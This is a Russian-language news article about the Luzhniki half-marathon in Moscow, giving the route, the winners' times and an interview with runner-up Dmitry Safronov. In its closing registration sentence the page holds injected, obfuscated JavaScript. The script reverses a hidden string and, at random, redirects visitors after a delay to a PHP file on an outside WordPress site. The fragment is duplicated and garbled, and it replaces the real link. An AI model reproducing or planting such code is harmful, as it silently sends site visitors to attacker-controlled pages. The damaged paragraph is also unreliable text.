Впервые в истории полумарафона «Лужники» на старте лил дождь. Участникам пришлось собрать волю в кулак и преодолеть незабываемые 21,1 километра по набережным столицы. Посмотрите, как им это удалось!
Восемнадцатого августа в Москве прошёл ежегодный полумарафон «Лужники». Участники пробежали 21,1 км по Лужнецкой, Фрунзенской, Пречистенской, Кремлёвской, Раушской и Космодамианской набережным мимо Крымского моста, Собора Василия Блаженного, Храма Христа Спасителя и Кремля.
Первым на дистанции 21,1 км финишировал Денис Валитов — 1:06:45. Вторым с результатом 1:07:31 прибежал Дмитрий Сафронов. Третьим стал Николай Чавкин — 1:08:16. Первой среди девушек прибежала Ольга Спирина — 1:20:21. Второй с результатом 1:20:37 финишировала Александра Цох. Третье место заняла Дарья Павлова — 1:21:22.
В рамках полумарафона состоялись традиционные заезды спортсменов на хендбайках и гоночных колясках. В них приняли участие 26 параатлетов.
Полумарафон «Лужники» — второй в России по количеству участников. В этом году на дистанции было более пяти тысяч человек. Самому молодому участнику забега — 18 лет, самому старшему — 84 года. Обычно во время летнего полумарафона «Бегового сообщества» в Москве стоит жара, но 18 августа погода была прохладной и шёл дождь.
Дмитрий Сафронов
серебряный призёр полумарафона «Лужники», участник Олимпиады 2012 года
— Сейчас я готовлюсь к Московскому марафону, поэтому последние недели перед полумарафоном я бегал приличные объёмы — 190—200 километров в неделю. На «Лужниках» мне было нелегко: дождь то начинался, то заканчивался, ветер обдувал со всех сторон. Если сравнивать с прошлогодней погодой, конечно, приятнее бежать под дождём, чем в тридцатиградусную жару. Вообще, самая комфортная погода — около 18 градусов без дождя и палящего солнца.
Первую пятёрку я пробежал очень спокойно, затем прибавил. Сбавил темп ближе к концу. Мне было несложно удержаться на втором месте. Сначала было желание обогнать лидера, но потом я понял, что не могу это сделать.
Обычно перед соревнованиями атлеты сбрасывают объёмы примерно за неделю до старта. У меня на это не было времени из-за подготовки к марафону, поэтому эту половинку бежал без «свежих ног».
Следующий забег — Абсолют Московский Марафон — состоится 22 сентября. Марафон обещает побить рекорды по количеству участников.
Зарегистрироваться на дистанции 42,2 км и 10 км можно на $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to/aHR0cHM6Ly9tb3Njb3dtYXJhdGhvbi5ydW5jLnJ1bg==»>сайте «Бегового сообщества» или непосредственно перед марафоном — на спортивной выставке, которая пройдёт 20 и 21 сентября.
Статьи по теме
Паста-пати: что съесть перед полумарафоном «Лужники»
Благотворительный фонд «Жизнь как чудо» проводит онлайн-забег
Наш выбор: книга «Running Man. Как бег помог мне победить внутренних демонов»
Как подготовиться к марафону: 10 правил
